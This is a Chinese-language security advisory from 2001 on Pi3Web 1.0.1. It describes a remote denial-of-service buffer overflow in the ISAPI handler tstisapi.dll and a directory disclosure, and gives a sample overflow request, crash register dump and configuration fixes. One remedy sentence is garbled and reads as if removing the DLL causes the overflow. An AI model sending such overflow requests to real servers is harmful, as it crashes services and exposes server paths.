Pi3Web服务程序存在缓冲溢出漏洞发布时间:2001-03-26 更新时间:2001-03-26 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Pi3Web version 1.0.1详细描述 Pi3Web(http://sourceforge.net/projects/pi3web/)是一个多线程,易 配置的WEB服务程序,可使用于WINDOWS和POSIX平台,PI3WEB 1.03支持 CGI,FCGI,WINCGI,SSI和目录索引,其中在服务程序调用ISAPI时处理 程序后存在缓冲溢出。服务器也存在目录泄露问题。 测试代码 下面的请求会导致缓冲溢出: http://www.example/isapi/tstisapi.dll?AAAA[…]AA 如: ENHPI3 caused an invalid page fault in module <unknown> at 0000:41414141. Registers: EAX=00000001 CS=017f EIP=41414141 EFLGS=00010206 EBX=0123d1b0 SS=0187 ESP=041df3b0 EBP=041dfed4 ECX=00000000 DS=0187 ESI=041df3f0 FS=3e6f EDX=00000000 ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: Stack dump: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 00bb0b2c 00000000 05611030 任意字符的请求会泄露服务器目录信息: http://www.example.com/sadfasdf 解决方案 删除ISAPI模块中的'tstisapi.dll'会导致缓冲溢出。 但目录泄露问题还没有很好解决办法。你可以修改 Config.pi3错误文档: Mapping MapToErrorDocument \ 301="/errors/301.ssi" \ 304="/errors/304.ssi" \ 400="/errors/400.htm" \ 401="/errors/401.ssi" \ 403="/errors/403.ssi" \ 404="/errors/404.ssi" \ 500="/errors/500.ssi" \ 501="/errors/501.htm" 把"404.ssi"改变为"404.hm",并拷贝响应文件到./fragment/404.htm. 你可以从*.ssi错误页面删除相关的SSI代码。 相关信息 此信息有Joe Testa(joetesta@HUSHMAIL.COM)发现。 |